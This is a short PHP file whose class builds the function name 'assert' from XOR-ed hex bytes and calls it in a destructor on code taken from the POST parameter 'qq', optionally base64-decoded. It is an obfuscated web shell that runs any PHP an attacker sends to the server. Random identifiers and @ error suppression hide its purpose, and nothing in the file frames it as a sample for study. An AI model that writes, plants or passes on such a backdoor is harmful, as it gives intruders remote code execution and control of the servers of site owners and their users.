<?php 
class SURX { 
    function MacG() {
        $BGVf = "\xf1" ^ "\x90";
        $uHWM = "\xc6" ^ "\xb5";
        $QSEY = "\x53" ^ "\x20";
        $oUHf = "\x12" ^ "\x77";
        $ncUC = "\xa9" ^ "\xdb";
        $nDxU = "\x7f" ^ "\xb";
        $jUyO =$BGVf.$uHWM.$QSEY.$oUHf.$ncUC.$nDxU;
        return $jUyO;
    }
    function __destruct(){
        $yeJN=$this->MacG();
        @$yeJN($this->KG);
    }
}
$surx = new SURX();
@$surx->KG = isset($_GET['id'])?base64_decode($_POST['qq']):$_POST['qq'];
?>